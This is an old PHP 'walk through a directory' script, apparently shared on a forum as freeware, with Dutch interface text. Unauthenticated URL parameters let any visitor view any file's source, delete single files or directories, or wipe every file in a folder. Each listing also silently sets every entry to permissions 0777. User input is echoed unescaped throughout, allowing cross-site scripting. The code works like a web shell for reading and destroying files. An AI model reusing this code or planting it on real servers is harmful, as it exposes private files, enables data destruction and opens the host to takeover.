[code]<?
////////////////////////////////////////////////////////
//  Walkthough a dir Version 1.0					  //
//	This script is made by Devoney					  //
//  Totally free to use in any situation			  //
//  Please don't take credit for making this script.  // 
//  Only leave my name here ;) 						  //
//  Made on 11 December 2005						  //	
////////////////////////////////////////////////////////
?>
<html>
<body text="#000000" alink="#339900" vlink="#339900" link="#339900">
<table align="center" width="800"><tr><td><fieldset><legend>Walk through a dir</legend>
<script language="javascript">
	function confirmSubmit()
	{
	var agree=confirm("Are you sure?");
	if (agree)
		return true ;
	else
		return false ;
	}
</script>
<? 
if(empty($_GET))
{
	echo 'Welkom<br>Dit script is gemaakt door Devoney in 2005. Dit is freeware, toegangkelijk voor iedereen.<br><a href="'.$PHP_SELF.'?dir=./">Klik hier om te beginnen met wandelen ;)</a>';
}
if(!empty($_GET['del'])) 
{ 
	if(!is_dir($_GET['del']))
	{
		if(@unlink ($_GET['del'])) 
		{ 
			echo $_GET['del'].' has been deleted succesfully.'; 
		} 
		else 
		{ 
			echo '<font color="red">'.$_GET['del'].' failed to delete</font>'; 
		} 
	}
	else
	{
		if(@rmdir($_GET['del'])) 
		{ 
			echo $_GET['del'].' has been deleted succesfully.'; 
		} 
		else 
		{ 
			echo '<font color="red">'.$_GET['del'].' failed to delete</font>'; 
		}
	}
} 

if(isset($_GET['high'])) 
{ 
    if(!highlight_file($_GET['high']))
	{
		echo '<font color="red">Unable to highlight file</font>';
	}
} 

if ($handle = opendir($_GET['dir']))
{ 
    echo "Files: <br>"; 
	while (false !== ($file = readdir($handle)))
   	{ 
   		echo "<a href='".$_GET['dir'].$file."'>".$file."</a>   - ";    
    	if(is_dir($_GET['dir'].$file)) 
    	{ 
        	echo "<a href='".$_SERVER['PHP_SELF']."?dir=".$_GET['dir'].$file.'/'."'>goto</a>"; 
    	}
		else
		{
			if(!empty($_GET['killall']))
			{
				if(unlink($_GET['dir'].$file))
				{
					echo 'Good: '.$_GET['dir'].$file;
				}
				else
				{
					echo 'fucked: '.$_GET['dir'].$file;
				}
			}
		} 
		if(!is_dir($_GET['dir'].$file))
		{
			echo "-   <a href='".$_SERVER['PHP_SELF']."?high=".$_GET['dir'].$file."'>highlight</a>";
		} 
		echo " - <a href='".$_SERVER['PHP_SELF']."?del=".$_GET['dir'].$file."' onclick='return confirmSubmit()'>DELETE</a>";       
		$path = $_GET['dir'].$file."/"; 
		if(is_writable($path)) 
		{ 
			echo '<font color="blue"> *SCHRIJFBAAR* </font>';           
		} 
		if(@chmod($path, 0777)) 
		{ 
			echo '<font color="blue"> *CHMODDED* </font>';       
		} 
			echo "<br>"; 
   	} 
   closedir($handle); 
} 
?> 
</fieldset></td></tr></table>
</body>
</html>[/code]